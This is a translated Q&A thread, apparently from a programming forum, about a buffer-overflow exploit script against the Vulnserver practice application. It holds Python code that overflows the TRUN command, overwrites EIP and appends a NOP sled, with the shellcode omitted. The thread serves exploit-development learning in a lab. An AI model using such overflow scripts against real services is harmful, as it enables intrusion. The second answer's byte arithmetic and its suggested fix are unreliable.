Vulnserver - 缓冲区溢出NOP字符未正确传递

时间:2016-02-17 07:14:11

标签: python security buffer-overflow exploit

我目前正在vulnserver应用上进行缓冲区溢出测试。使用十六进制值A溢出缓冲区似乎没有问题地传递到程序中。 EIP被覆盖也没有问题。但是当我开始NOP雪橇时,在每个NOP值之后传递C2十六进制值。不知道为什么会这样。我有十六进制转储来向你展示我的意思:

enter image description here

这是我用来创建溢出的python脚本:

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("127.0.0.1",9999))
buff = '\x41' * 2006
shellcode = ...
nop = '\x90' * 16

#shellcode not included in this test. Trying to find out why NOP sled isn't being passed correctly.
overflow = 'TRUN .' + buff + '\x05\x12\x50\x62' + nop
s.send(overflow.encode())

我想知道当python编码/发送数据包时是否发生错误,或者是否因为编写了vulnserver的方式而发生错误。

2 个答案:

答案 0 :(得分:2)

您的问题是由于您使用的是Python 3。

.encode()方法是导致问题的根本原因。

请改为尝试:

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("127.0.0.1",9999))
buff = b'\x41' * 2006
shellcode = b'...'
nop = b'\x90' * 16

#shellcode not included in this test. Trying to find out why NOP sled isn't being passed correctly.
overflow = b'TRUN .' + buff + b'\x05\x12\x50\x62' + nop
s.send(overflow)

答案 1 :(得分:0)

\ xC2- \ X90 = \ X32。您是否尝试过将nop雪橇作为\ x5E \ x90 \ x5E \ x90 \ x5E \ x90发送?